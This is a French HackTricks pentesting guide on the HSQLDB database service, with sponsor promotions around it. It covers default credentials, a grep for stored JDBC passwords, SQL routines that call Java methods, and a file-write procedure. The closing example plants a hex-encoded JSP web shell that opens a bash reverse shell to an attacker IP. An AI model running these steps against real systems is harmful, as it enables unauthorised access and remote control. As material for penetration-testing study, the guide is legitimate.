hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

5.8 KiB

<details>

<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>


# Informations de base

HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\) est le principal système de base de données relationnelle SQL écrit en Java. Il offre un moteur de base de données petit, rapide, multithread et transactionnel avec des tables en mémoire et sur disque et prend en charge les modes embarqué et serveur.

**Port par défaut :** 9001
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Informations

Paramètres par défaut

Notez que par défaut, ce service est probablement exécuté en mémoire ou est lié à localhost. Si vous l'avez trouvé, vous avez probablement exploité un autre service et cherchez à élever vos privilèges.

Les identifiants par défaut sont généralement sa avec un mot de passe vide.

Si vous avez exploité un autre service, recherchez des identifiants possibles en utilisant

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Notez soigneusement le nom de la base de données - vous en aurez besoin pour vous connecter.

Collecte d'informations

Connectez-vous à l'instance de la base de données en téléchargeant HSQLDB et en extrayant hsqldb/lib/hsqldb.jar. Exécutez l'application GUI beurk en utilisant java -jar hsqldb.jar et connectez-vous à l'instance en utilisant les identifiants découverts/faibles.

Notez que l'URL de connexion ressemblera à ceci pour un système distant : jdbc:hsqldb:hsql://ip/DBNAME.

Astuces

Routines du Langage Java

Nous pouvons appeler des méthodes statiques d'une classe Java depuis HSQLDB en utilisant les Routines du Langage Java. Notez que la classe appelée doit se trouver dans le classpath de l'application.

Les JRT peuvent être des fonctions ou des procédures. Les fonctions peuvent être appelées via des instructions SQL si la méthode Java retourne une ou plusieurs variables primitives compatibles avec SQL. Elles sont invoquées en utilisant l'instruction VALUES.

Si la méthode Java que nous voulons appeler retourne void, nous devons utiliser une procédure invoquée avec l'instruction CALL.

Lecture des Propriétés du Système Java

Créer une fonction :

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Exécuter la fonction :

VALUES(getsystemproperty('user.name'))

Vous pouvez trouver une liste des propriétés système ici.

Écrire du contenu dans un fichier

Vous pouvez utiliser le gadget Java com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename situé dans le JDK chargé automatiquement dans le chemin de classe de l'application pour écrire des éléments encodés en hexadécimal sur le disque via une procédure personnalisée. Notez la taille maximale de 1024 octets.

Créer une procédure :

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Exécuter la procédure :

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :